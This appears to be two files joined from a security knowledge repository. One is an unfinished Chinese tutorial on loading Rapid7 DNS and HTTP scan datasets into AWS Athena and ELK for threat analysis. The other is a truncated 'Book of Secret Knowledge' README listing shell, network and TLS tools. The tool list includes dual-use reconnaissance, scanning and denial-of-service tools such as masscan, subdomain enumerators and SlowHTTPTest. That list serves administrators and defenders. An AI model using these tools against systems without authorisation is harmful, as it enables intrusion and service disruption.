![image-20220905122055613](../../.gitbook/assets/image-20220905122055613.png) ![image-20230208134730280](../../.gitbook/assets/image-20230208134730280.png)
sec-knowleage
# 基于Rapid7数据集的安全分析实战 ## 目标概要 - 数据搭建: - 基于Rapid7数据集,搭建一套安全数据系统 - 安全分析: - 使用该数据集进行具体场景下的安全分析,主要关注于: - 从FDNS数据中挖掘恶意域名 - 从RDNS中挖掘动态IP - 数据评估: - 对恶意域名进行手动验证,并输入到MISP中进行情报关联 - 对动态IP,使用IPinfo查询画像数据 ## 数据系统搭建 数据系统搭建需要考虑到数据总量、并发量、数据实时性等。由于不是工程化项目,一切从简,数据系统搭建主要是为了后面更高效率的分析。 考虑到Rapid7开放数据集的以下特点: - 数据总量大,单天某类型一个数据包最高能到几百GB - 国内下载速度慢,且暂无镜像源 - 官方没有提供管理框架或集成的CLI 考虑到我们使用这部分的数据,最开始是一个探索和实验性质的,所以直接找一些云上的服务/接口,例如AWS的[Rapid7 FDNS ANY](https://registry.opendata.aws/rapid7-fdns-any/)。 ### 使用AWS服务 - 数据服务介绍:[Rapid7 FDNS ANY Dataset](https://registry.opendata.aws/rapid7-fdns-any/) - 使用案例:[How to Conduct DNS Reconnaissance for $.02 Using Rapid7 Open Data and AWS](https://www.rapid7.com/blog/post/2018/10/16/how-to-conduct-dns-reconnaissance-for-02-using-rapid7-open-data-and-aws/) 使用aws cli可以直接查看数据包的情况: ```bash $ aws s3 ls s3://rapid7-opendata/ --no-sign-request ``` 其中`s3://`后面的路径就可以理解为相对路径。但是在s3中的数据是打包好的,有利于存储,但不适用于查询,所以需要使用数据查询平台,这里配套使用AWS的AWS Athena。 注:AWS Athena是一项无服务查询服务,可让使用标准SQL查询,按查询次数付费。 登入[AWS Athena控制台](https://us-east-2.console.aws.amazon.com/athena/): ![image-20210710215717783](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/image-20210710215717783.png) 图:AWS Athena控制面板 设置查询结果的路径为:`s3://rapid7-opendata/fdns/any/v1/`,在编辑器中,创建查询的表: ```sql CREATE EXTERNAL TABLE IF NOT EXISTS rapid7_fdns_any ( `timestamp` timestamp, `name` string, `type` string, `value` string ) PARTITIONED BY ( date string ) ROW FORMAT SERDE 'org.apache.hadoop.hive.ql.io.parquet.serde.ParquetHiveSerDe' WITH SERDEPROPERTIES ( 'serialization.format' = '1' ) LOCATION 's3://rapid7-opendata/fdns/any/v1/' TBLPROPERTIES ('has_encrypted_data'='false'); ``` 点击执行后,发生错误: ```bash Unable to verify/create output bucket rapid7 (Service: AmazonAthena; Status Code: 400; Error Code: InvalidRequestException; Request ID: XXX; Proxy: null) ``` 考虑是否是s3资源位置不对应: ```bash 亚马逊资源名称 (ARN) arn:aws:s3:::rapid7-opendata/fdns/any/v1/ AWS 区域 us-east-1 ``` 后经排查,发现自己漏掉了建立查询API的过程,也就是建库和表、部署查询语句的过程,教程参考:[Creating a Project Sonar FDNS API with AWS](https://sra.io/blog/creating-a-project-sonar-fdns-api-with-aws/) 先查看一下集群中的数据资源: ```bash $ aws s3 ls s3://rapid7-opendata/fdns/any/v1/date=202106 --no-sign-request ``` 注意时间,看的是6月份的。 利用 AWS Glue可以现有数据源,我们通过这个功能建立一个对FDNS数据的爬虫,在AWS面板上的入口为:`Glue - crawlers - add crawler` // TODO,此处显示爬虫报错,暂未解决,待更新 ### 使用本地ELK 为方便配置,直接使用[bitnami的ELK虚拟机](https://docs.bitnami.com/virtual-machine/apps/elk/),将虚拟机配置好后,开始对Rapid7开放数据集进行导入。 此处我们选用的数据集类型包括: - fdns - ... logstash配置文件: ```yml input { beats { port => "5044" type => "json" } } filter { json { source => "message" } } output { elasticsearch { hosts => [ "localhost:9200" ] index => "2021-06-27-1624758421-http_get_8888" } } ``` 🚩加上对data字段的Base64解密`decode64-http_get_8888.yml`,参考:[filebeat + logstash 日志采集链路配置](https://www.cnblogs.com/JealousSky/p/14077178.html): ```yml input { beats { port => "5044" type => "json" } } filter{ json{ source => "message" remove_field => ["message"] } ruby { init => "require 'base64'" code => "event.set('b64_decoded', Base64.decode64(event.get('data'))) if event.include?('data')" remove_field => ["data","request"] } json { source => "b64_decoded" remove_field => ["b64_decoded"] } } output { elasticsearch { hosts => [ "localhost:9200" ] index => "decode64-http_get_8888" } } ``` 🚩filebeat配置文件`decode64-http_get_8888.yml`: ```yml filebeat.inputs: - type: log paths: - /home/bitnami/data/decode64-http_get_8888.json output.logstash: hosts: ["localhost:5044"] ``` 通过filebeat插件转换,已作废! ```yml filebeat.inputs: - type: json paths: - /home/bitnami/data/example4-http_get_8888.json processors: - decode_base64_field: field: from: "data" to: "decode.data" ignore_missing: false fail_on_error: true output.logstash: hosts: ["localhost:5044"] ``` 先运行logstash ```bash sudo logstash -f ./decode64-http_get_8888.yml --config.reload.automatic ``` 再跑filebeat ```bash sudo filebeat -e -c ./decode64-http_get_8888.yml -d "publish" ``` 另外,需要注意两者配置文件的用户、用户组以及所在文件夹权限的问题,否则也会报错。 以下是成功导入,并且将data字段进行base64解码后的结果(b64_decodedz字段): ![image-20210711222848429](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/image-20210711222848429.png) 图:导入FDNS数据后的Kibana面板 我们在Kibana的Dev Tools中进行DSL语法查询,尝试进行检索: ```json GET _search { "size": 0, "query": { "bool": { "should": [ { "query_string": { "default_field": "b64_decoded.keyword", "query": "*管理*" } } ], "minimum_should_match": 1 } }, "aggs": { "attacker_ip_aggs": { "terms": { "field": "host.keyword", "size": 1000 } } } } ``` 以上的DSL语句,即检索解码后的HTTP数据中是否包含“管理”关键词,并且查找的记录中聚合host地址显示: <img src="https://image-host-toky.oss-cn-shanghai.aliyuncs.com/image-20210711223248983.png" alt="image-20210711223248983" style="zoom:50%;" /> 图:检索并聚合和Host字段值 ## 安全分析过程 // TODO - 基于DNS数据的动态IP、恶意 ## 数据评估方法 // TODO
sec-knowleage
<p align="center"> <a href="https://github.com/trimstray/the-book-of-secret-knowledge"> <img src="https://github.com/trimstray/the-book-of-secret-knowledge/blob/master/static/img/the-book-of-secret-knowledge-preview.png" alt="Master"> </a> </p> <p align="center">"<i>Knowledge is powerful, be careful how you use it!</i>"</p> <h4 align="center">A collection of inspiring lists, manuals, cheatsheets, blogs, hacks, one-liners, cli/web tools, and more.</h4> <br> <p align="center"> <a href="https://github.com/trimstray/the-book-of-secret-knowledge/pulls"> <img src="https://img.shields.io/badge/PRs-welcome-brightgreen.svg?longCache=true" alt="Pull Requests"> </a> <a href="LICENSE.md"> <img src="https://img.shields.io/badge/License-MIT-lightgrey.svg?longCache=true" alt="MIT License"> </a> </p> <p align="center"> <a href="https://twitter.com/trimstray" target="_blank"> <img src="https://img.shields.io/twitter/follow/trimstray.svg?logo=twitter"> </a> </p> <div align="center"> <sub>Created by <a href="https://twitter.com/trimstray">trimstray</a> and <a href="https://github.com/trimstray/the-book-of-secret-knowledge/graphs/contributors">contributors</a> </div> <br> **** ## :notebook_with_decorative_cover: &nbsp;What is it? This repository is a collection of various materials and tools that I use every day in my work. It contains a lot of useful information gathered in one piece. It is an invaluable source of knowledge for me that I often look back on. ## :restroom: &nbsp;For whom? For everyone, really. Here everyone can find their favourite tastes. But to be perfectly honest, it is aimed towards System and Network administrators, DevOps, Pentesters, and Security Researchers. ## :information_source: &nbsp;Contributing If you find something which doesn't make sense, or something doesn't seem right, please make a pull request and please add valid and well-reasoned explanations about your changes or comments. A few simple rules for this project: - inviting and clear - not tiring - useful These below rules may be better: - easy to contribute to (Markdown + HTML ...) - easy to find (simple TOC, maybe it's worth extending them?) Url marked **\*** is temporary unavailable. Please don't delete it without confirming that it has permanently expired. Before adding a pull request, please see the **[contributing guidelines](.github/CONTRIBUTING.md)**. You should also remember about this: ```diff + This repository is not meant to contain everything but only good quality stuff. ``` All **suggestions/PR** are welcome! ### Code Contributors This project exists thanks to all the people who contribute. <a href="https://github.com/trimstray/the-book-of-secret-knowledge/graphs/contributors"><img src="https://opencollective.com/the-book-of-secret-knowledge/contributors.svg?width=890&button=false"></a> ### Financial Contributors <p align="left"> <a href="https://opencollective.com/the-book-of-secret-knowledge" alt="Financial Contributors on Open Collective"> <img src="https://img.shields.io/opencollective/backers/the-book-of-secret-knowledge?style=for-the-badge&color=FF4500&labelColor=A9A9A9"></a> </a> <a href="https://opencollective.com/the-book-of-secret-knowledge" alt="Financial Contributors on Open Collective"> <img src="https://img.shields.io/opencollective/sponsors/the-book-of-secret-knowledge?style=for-the-badge&color=FF4500&labelColor=A9A9A9"></a> </a> </p> ## :newspaper: &nbsp;RSS Feed & Updates GitHub exposes an [RSS/Atom](https://github.com/trimstray/the-book-of-secret-knowledge/commits.atom) feed of the commits, which may also be useful if you want to be kept informed about all changes. ## :ballot_box_with_check: &nbsp;ToDo - [ ] Add new stuff... - [ ] Add useful shell functions - [ ] Add one-liners for collection tools (eg. CLI Tools) - [ ] Sort order in lists New items are also added on a regular basis. ## :anger: &nbsp;Table of Contents Only main chapters: - **[CLI Tools](#cli-tools-toc)** - **[GUI Tools](#gui-tools-toc)** - **[Web Tools](#web-tools-toc)** - **[Systems/Services](#systemsservices-toc)** - **[Networks](#networks-toc)** - **[Containers/Orchestration](#containersorchestration-toc)** - **[Manuals/Howtos/Tutorials](#manualshowtostutorials-toc)** - **[Inspiring Lists](#inspiring-lists-toc)** - **[Blogs/Podcasts/Videos](#blogspodcastsvideos-toc)** - **[Hacking/Penetration Testing](#hackingpenetration-testing-toc)** - **[Your daily knowledge and news](#your-daily-knowledge-and-news-toc)** - **[Other Cheat Sheets](#other-cheat-sheets-toc)** - **[Shell One-liners](#shell-one-liners-toc)** - **[Shell Tricks](#shell-tricks-toc)** - **[Shell Functions](#shell-functions-toc)** ## :trident: &nbsp;The Book of Secret Knowledge (Chapters) #### CLI Tools &nbsp;[<sup>[TOC]</sup>](#anger-table-of-contents) ##### :black_small_square: Shells <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.gnu.org/software/bash/"><b>GNU Bash</b></a> - is an sh-compatible shell that incorporates useful features from the Korn shell and C shell.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.zsh.org/"><b>Zsh</b></a> - is a shell designed for interactive use, although it is also a powerful scripting language.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://tcl-lang.org/"><b>tclsh</b></a> - is a very powerful cross-platform shell, suitable for a huge range of uses.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/Bash-it/bash-it"><b>bash-it</b></a> - is a framework for using, developing and maintaining shell scripts and custom commands.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://ohmyz.sh/"><b>Oh My ZSH!</b></a> - is the best framework for managing your Zsh configuration.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/oh-my-fish/oh-my-fish"><b>Oh My Fish</b></a> - the Fishshell framework.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/starship/starship"><b>Starship</b></a> - the cross-shell prompt written in Rust.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/romkatv/powerlevel10k"><b>powerlevel10k</b></a> - is a fast reimplementation of Powerlevel9k ZSH theme.<br> </p> ##### :black_small_square: Shell plugins <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/rupa/z"><b>z</b></a> - tracks the folder you use the most and allow you to jump, without having to type the whole path.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/junegunn/fzf"><b>fzf</b></a> - is a general-purpose command-line fuzzy finder.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/zsh-users/zsh-autosuggestions"><b>zsh-autosuggestions</b></a> - Fish-like autosuggestions for Zsh.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/zsh-users/zsh-syntax-highlighting"><b>zsh-syntax-highlighting</b></a> - Fish shell like syntax highlighting for Zsh.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/unixorn/awesome-zsh-plugins"><b>Awesome ZSH Plugins</b></a> - A list of frameworks, plugins, themes and tutorials for ZSH.<br> </p> ##### :black_small_square: Managers <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://midnight-commander.org/"><b>Midnight Commander</b></a> - is a visual file manager, licensed under GNU General Public License.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/ranger/ranger"><b>ranger</b></a> - is a VIM-inspired filemanager for the console.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/jarun/nnn"><b>nnn</b></a> - is a tiny, lightning fast, feature-packed file manager.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.gnu.org/software/screen/"><b>screen</b></a> - is a full-screen window manager that multiplexes a physical terminal.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/tmux/tmux/wiki"><b>tmux</b></a> - is a terminal multiplexer, lets you switch easily between several programs in one terminal.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/peikk0/tmux-cssh"><b>tmux-cssh</b></a> - is a tool to set comfortable and easy to use functionality, clustering and synchronizing tmux-sessions.<br> </p> ##### :black_small_square: Text editors <p> &nbsp;&nbsp;:small_orange_diamond: <a href="http://ex-vi.sourceforge.net/"><b>vi</b></a> - is one of the most common text editors on Unix.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.vim.org/"><b>vim</b></a> - is a highly configurable text editor.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.gnu.org/software/emacs/"><b>emacs</b></a> - is an extensible, customizable, free/libre text editor, and more.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/zyedidia/micro"><b>micro</b></a> - is a modern and intuitive terminal-based text editor.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://neovim.io/"><b>neovim</b></a> - is a free open source, powerful, extensible and usable code editor.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.spacemacs.org/"><b>spacemacs</b></a> - a community-driven Emacs distribution.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://spacevim.org/"><b>spacevim</b></a> - a community-driven vim distribution.<br> </p> ##### :black_small_square: Files and directories <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/sharkdp/fd"><b>fd</b></a> - is a simple, fast and user-friendly alternative to find.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://dev.yorhel.nl/ncdu"><b>ncdu</b></a> - is an easy to use, fast disk usage analyzer.<br> </p> ##### :black_small_square: Network <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.putty.org/"><b>PuTTY</b></a> - is an SSH and telnet client, developed originally by Simon Tatham.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://mosh.org/"><b>Mosh</b></a> - is a SSH wrapper designed to keep a SSH session alive over a volatile connection.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://eternalterminal.dev/"><b>Eternal Terminal</b></a> - enables mouse-scrolling and tmux commands inside the SSH session.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://nmap.org/"><b>nmap</b></a> - is a free and open source (license) utility for network discovery and security auditing.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/zmap/zmap"><b>zmap</b></a> - is a fast single packet network scanner designed for Internet-wide network surveys.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/RustScan/RustScan"><b>Rust Scan</b></a> - to find all open ports faster than Nmap.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/robertdavidgraham/masscan"><b>masscan</b></a> - is the fastest Internet port scanner, spews SYN packets asynchronously.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/gvb84/pbscan"><b>pbscan</b></a> - is a faster and more efficient stateless SYN scanner and banner grabber.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://www.hping.org/"><b>hping</b></a> - is a command-line oriented TCP/IP packet assembler/analyzer.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/traviscross/mtr"><b>mtr</b></a> - is a tool that combines the functionality of the 'traceroute' and 'ping' programs in a single tool.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/mehrdadrad/mylg"><b>mylg</b></a> - utility which combines the functions of the different network probes in one diagnostic tool.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://netcat.sourceforge.net/"><b>netcat</b></a> - utility which reads and writes data across network connections, using the TCP/IP protocol.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://www.dest-unreach.org/socat/"><b>socat</b></a> - utility which transfers data between two objects.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.tcpdump.org/"><b>tcpdump</b></a> - is a powerful command-line packet analyzer.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.wireshark.org/docs/man-pages/tshark.html"><b>tshark</b></a> - is a tool that allows us to dump and analyze network traffic (wireshark cli).<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://termshark.io/"><b>Termshark</b></a> - is a simple terminal user-interface for tshark.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/jpr5/ngrep"><b>ngrep</b></a> - is like GNU grep applied to the network layer.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://netsniff-ng.org/"><b>netsniff-ng</b></a> - is a Swiss army knife for your daily Linux network plumbing if you will.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/mechpen/sockdump"><b>sockdump</b></a> - dump unix domain socket traffic.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/google/stenographer"><b>stenographer</b></a> - is a packet capture solution which aims to quickly spool all packets to disk.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/sachaos/tcpterm"><b>tcpterm</b></a> - visualize packets in TUI.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/tgraf/bmon"><b>bmon</b></a> - is a monitoring and debugging tool to capture networking related statistics and prepare them visually.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://iptraf.seul.org/2.6/manual.html#installation"><b>iptraf-ng</b></a> - is a console-based network monitoring program for Linux that displays information about IP traffic.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/vergoh/vnstat"><b>vnstat</b></a> - is a network traffic monitor for Linux and BSD.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://iperf.fr/"><b>iPerf3</b></a> - is a tool for active measurements of the maximum achievable bandwidth on IP networks.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/Microsoft/Ethr"><b>ethr</b></a> - is a Network Performance Measurement Tool for TCP, UDP & HTTP.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/jwbensley/Etherate"><b>Etherate</b></a> - is a Linux CLI based Ethernet and MPLS traffic testing tool.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/mpolden/echoip"><b>echoip</b></a> - is a IP address lookup service.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/troglobit/nemesis"><b>Nemesis</b></a> - packet manipulation CLI tool; craft and inject packets of several protocols.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/packetfu/packetfu"><b>packetfu</b></a> - a mid-level packet manipulation library for Ruby.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://scapy.net/"><b>Scapy</b></a> - packet manipulation library; forge, send, decode, capture packets of a wide number of protocols.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/SecureAuthCorp/impacket"><b>impacket</b></a> - is a collection of Python classes for working with network protocols.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/arthepsy/ssh-audit"><b>ssh-audit</b></a> - is a tool for SSH server auditing.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://aria2.github.io/"><b>aria2</b></a> - is a lightweight multi-protocol & multi-source command-line download utility.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/x-way/iptables-tracer"><b>iptables-tracer</b></a> - observe the path of packets through the iptables chains.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/proabiral/inception"><b>inception</b></a> - a highly configurable tool to check for whatever you like against any number of hosts.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://mremoteng.org/"><b>mRemoteNG</b></a> - a fork of mRemote, multi-tabbed PuTTy on steroids!<br> </p> ##### :black_small_square: Network (DNS) <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/farrokhi/dnsdiag"><b>dnsdiag</b></a> - is a DNS diagnostics and performance measurement tools.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/mschwager/fierce"><b>fierce</b></a> - is a DNS reconnaissance tool for locating non-contiguous IP space.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/subfinder/subfinder"><b>subfinder</b></a> - is a subdomain discovery tool that discovers valid subdomains for websites.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/aboul3la/Sublist3r"><b>sublist3r</b></a> - is a fast subdomains enumeration tool for penetration testers.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/OWASP/Amass"><b>amass</b></a> - is tool that obtains subdomain names by scraping data sources, crawling web archives, and more.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/google/namebench"><b>namebench</b></a> - provides personalized DNS server recommendations based on your browsing history.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/blechschmidt/massdns"><b>massdns</b></a> - is a high-performance DNS stub resolver for bulk lookups and reconnaissance.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/guelfoweb/knock"><b>knock</b></a> - is a tool to enumerate subdomains on a target domain through a wordlist.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/DNS-OARC/dnsperf"><b>dnsperf</b></a> - DNS performance testing tools.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/jedisct1/dnscrypt-proxy"><b>dnscrypt-proxy 2</b></a> - a flexible DNS proxy, with support for encrypted DNS protocols.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/dnsdb/dnsdbq"><b>dnsdbq</b></a> - API client providing access to passive DNS database systems.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/looterz/grimd"><b>grimd</b></a> - fast dns proxy, built to black-hole internet advertisements and malware servers.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/elceef/dnstwist"><b>dnstwist</b></a> - detect typosquatters, phishing attacks, fraud, and brand impersonation.<br> </p> ##### :black_small_square: Network (HTTP) <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://curl.haxx.se/"><b>curl</b></a> - is a command line tool and library for transferring data with URLs.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://gitlab.com/davidjpeacock/kurly"><b>kurly</b></a> - is an alternative to the widely popular curl program, written in Golang.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/jakubroztocil/httpie"><b>HTTPie</b></a> - is an user-friendly HTTP client.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/asciimoo/wuzz"><b>wuzz</b></a> - is an interactive cli tool for HTTP inspection.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/summerwind/h2spec"><b>h2spec</b></a> - is a conformance testing tool for HTTP/2 implementation.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/gildasio/h2t"><b>h2t</b></a> - is a simple tool to help sysadmins to hardening their websites.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/trimstray/htrace.sh"><b>htrace.sh</b></a> - is a simple Swiss Army knife for http/https troubleshooting and profiling.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/reorx/httpstat"><b>httpstat</b></a> - is a tool that visualizes curl statistics in a way of beauty and clarity.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/gchaincl/httplab"><b>httplab</b></a> - is an interactive web server.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://lynx.browser.org/"><b>Lynx</b></a> - is a text browser for the World Wide Web.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/browsh-org/browsh/"><b>Browsh</b></a> - is a fully interactive, real-time, and modern text-based browser.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/dhamaniasad/HeadlessBrowsers"><b>HeadlessBrowsers</b></a> - a list of (almost) all headless web browsers in existence.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://httpd.apache.org/docs/2.4/programs/ab.html"><b>ab</b></a> - is a single-threaded command line tool for measuring the performance of HTTP web servers.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.joedog.org/siege-home/"><b>siege</b></a> - is an http load testing and benchmarking utility.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/wg/wrk"><b>wrk</b></a> - is a modern HTTP benchmarking tool capable of generating significant load.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/giltene/wrk2"><b>wrk2</b></a> - is a constant throughput, correct latency recording variant of wrk.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/tsenart/vegeta"><b>vegeta</b></a> - is a constant throughput, correct latency recording variant of wrk.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/codesenberg/bombardier"><b>bombardier</b></a> - is a fast cross-platform HTTP benchmarking tool written in Go.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/cmpxchg16/gobench"><b>gobench</b></a> - http/https load testing and benchmarking tool.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/rakyll/hey"><b>hey</b></a> - HTTP load generator, ApacheBench (ab) replacement, formerly known as rakyll/boom.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/tarekziade/boom"><b>boom</b></a> - is a script you can use to quickly smoke-test your web app deployment.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/shekyan/slowhttptest"><b>SlowHTTPTest</b></a> - is a tool that simulates some Application Layer Denial of Service attacks by prolonging HTTP.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/OJ/gobuster"><b>gobuster</b></a> - is a free and open source directory/file & DNS busting tool written in Go.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/ssllabs/ssllabs-scan"><b>ssllabs-scan</b></a> - command-line reference-implementation client for SSL Labs APIs.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/mozilla/http-observatory"><b>http-observatory</b></a> - Mozilla HTTP Observatory cli version.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://hurl.dev"><b>Hurl</b></a> - is a command line tool to run and test HTTP requests with plain text.<br> </p> ##### :black_small_square: SSL <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.openssl.org/"><b>openssl</b></a> - is a robust, commercial-grade, and full-featured toolkit for the TLS and SSL protocols.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://gnutls.org/manual/html_node/gnutls_002dcli-Invocation.html"><b>gnutls-cli</b></a> - client program to set up a TLS connection to some other computer.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/nabla-c0d3/sslyze"><b>sslyze </b></a> - fast and powerful SSL/TLS server scanning library.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/rbsec/sslscan"><b>sslscan</b></a> - tests SSL/TLS enabled services to discover supported cipher suites.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/drwetter/testssl.sh"><b>testssl.sh</b></a> - testing TLS/SSL encryption anywhere on any port.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/mozilla/cipherscan"><b>cipherscan</b></a> - a very simple way to find out which SSL ciphersuites are supported by a target.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://www.tarsnap.com/spiped.html"><b>spiped</b></a> - is a utility for creating symmetrically encrypted and authenticated pipes between socket addresses.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/certbot/certbot"><b>Certbot</b></a> - is EFF's tool to obtain certs from Let's Encrypt and (optionally) auto-enable HTTPS on your server.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/FiloSottile/mkcert"><b>mkcert</b></a> - simple zero-config tool to make locally trusted development certificates with any names you'd like.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/square/certstrap"><b>certstrap</b></a> - tools to bootstrap CAs, certificate requests, and signed certificates.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/yassineaboukir/sublert"><b>Sublert</b></a> - is a security and reconnaissance tool to automatically monitor new subdomains.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/trimstray/mkchain"><b>mkchain</b></a> - open source tool to help you build a valid SSL certificate chain.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/Matty9191/ssl-cert-check"><b>ssl-cert-check</b></a> - SSL Certification Expiration Checker.<br> </p> ##### :black_small_square: Security <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/5/html/deployment_guide/ch-selinux"><b>SELinux</b></a> - provides a flexible Mandatory Access Control (MAC) system built into the Linux kernel.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://wiki.ubuntu.com/AppArmor"><b>AppArmor</b></a> - proactively protects the operating system and applications from external or internal threats.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/grapheneX/grapheneX"><b>grapheneX</b></a> - Automated System Hardening Framework.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/dev-sec/"><b>DevSec Hardening Framework</b></a> - Security + DevOps: Automatic Server Hardening.<br> </p> ##### :black_small_square: Auditing Tools <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.ossec.net/"><b>ossec</b></a> - actively monitoring all aspects of system activity with file integrity 